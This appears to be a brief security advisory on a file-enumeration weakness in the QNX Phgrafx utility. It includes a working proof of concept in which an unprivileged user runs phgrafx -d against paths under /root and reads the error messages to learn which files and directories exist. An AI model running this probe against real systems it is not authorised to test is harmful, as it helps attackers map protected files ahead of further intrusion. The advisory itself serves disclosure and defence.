source: www.securityfocus.com/bid/66098/info

QNX Phgrafx is prone to a file-enumeration weakness.

An attacker can exploit this issue to enumerate the files present in the system's root directory; this may aid in further attacks.

QNX 6.5.0 SP1, 6.5.0, 6.4.1, 6.3.0, and 6.2.0 are vulnerable; other versions may also be affected. 

$ id
uid=100(user) gid=100

# directory /root/.ph exists:
$ /usr/photon/bin/phgrafx -d /root/.ph
load_display_conf(): No such file or directory

# file /root/.profile exsts:
$ /usr/photon/bin/phgrafx -d /root/.profile
/root/.profile: opendir(): Not a directory
load_display_conf(): Not a directory

# /root/doesnotexist does not exist:
$ /usr/photon/bin/phgrafx -d /root/doesnotexist
/root/doesnotexist: opendir(): No such file or directory
load_display_conf(): No such file or directory